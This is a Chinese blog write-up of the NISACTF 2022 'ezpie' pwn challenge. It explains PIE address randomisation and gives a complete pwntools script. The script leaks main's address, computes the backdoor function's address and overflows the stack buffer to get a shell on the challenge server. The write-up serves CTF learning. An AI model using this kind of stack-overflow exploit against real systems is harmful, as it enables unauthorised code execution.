[NISACTF 2022]ezpie- 入土为安的第十五天

简介: [NISACTF 2022]ezpie- 入土为安的第十五天

pwn的第3天

PIE保护ret2text栈

按照签到题的套路是找main,buf,shell,bin/sh/

但是是PIE保护

那有什么不一样的呢

PIE保护:

PIE全称是position-independent executable,中文解释为地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过ROPgadget等一些工具来帮助解题。

简单地说就是地址随机化。

这个题目的大致思路就是,通过接收输出的main函数的地址,再通过偏移量计算到后门函数的地址,之后,进行栈溢出攻击即可。

运行可以看到确实有70

这是因为pie是以内存页为单位随机的

一般情况下,一页为0x1000

所以后三位才会保持不变

main_real_addr=int(io.recv()[1:11],16)

from pwn import *
 
io=remote("node5.anna.nssctf.cn",26639)
 
#用于通过真实地址+偏移来计算任意函数真实地址
main_addr=0x770
shell_addr=0x80f
io.recvuntil(b"gift!")
 
#接收main的地址
main_real_addr=int(io.recv()[1:11],16)
print("main_real_addr:",main_real_addr)
 
#payload编写:溢出填充到返回地址前+后门函数真实地址(某函数真实地址+相对偏移量)
payload=b'a'*(0x28+4)
payload+=p32(main_real_addr+shell_addr-main_addr)
 
io.sendline(payload)
io.interactive()


目录
相关文章
|
3月前
|
安全
babystack2.0-入土为安的第十六天
babystack2.0-入土为安的第十六天
37 0
|
3月前
|
算法
[MoeCTF 2022]Art 入土为安的第四天
[MoeCTF 2022]Art 入土为安的第四天
33 1
|
3月前
|
Python
[NISACTF 2022]ezpython入土为安的第二十一天
[NISACTF 2022]ezpython入土为安的第二十一天
39 0
|
3月前
|
Shell
[NISACTF 2022]ezstack-入土为安的第十四天
[NISACTF 2022]ezstack-入土为安的第十四天
33 0
|
3月前
[MoeCTF 2022]rop32-入土为安的第十八天
[MoeCTF 2022]rop32-入土为安的第十八天
32 0
|
3月前
|
数据安全/隐私保护 索引
HardSignin _ 入土为安的第十二天
HardSignin _ 入土为安的第十二天
17 0
|
3月前
|
Shell
[SWPUCTF 2021 新生赛]gift_pwn-入土为安的第十五天
[SWPUCTF 2021 新生赛]gift_pwn-入土为安的第十五天
113 0
|
3月前
[MoeCTF 2022]ezTea-入土为安的第十九天
[MoeCTF 2022]ezTea-入土为安的第十九天
32 0
|
3月前
|
Python
[MoeCTF 2022]EquationPy-入土为安的第十九天
[MoeCTF 2022]EquationPy-入土为安的第十九天
39 0
|
SQL Web App开发 Oracle
Ichunqiu云境 —— Endless(无间计划) Writeup
两个入口点,一个入口点是pboot-cms,另外一个是SQL注入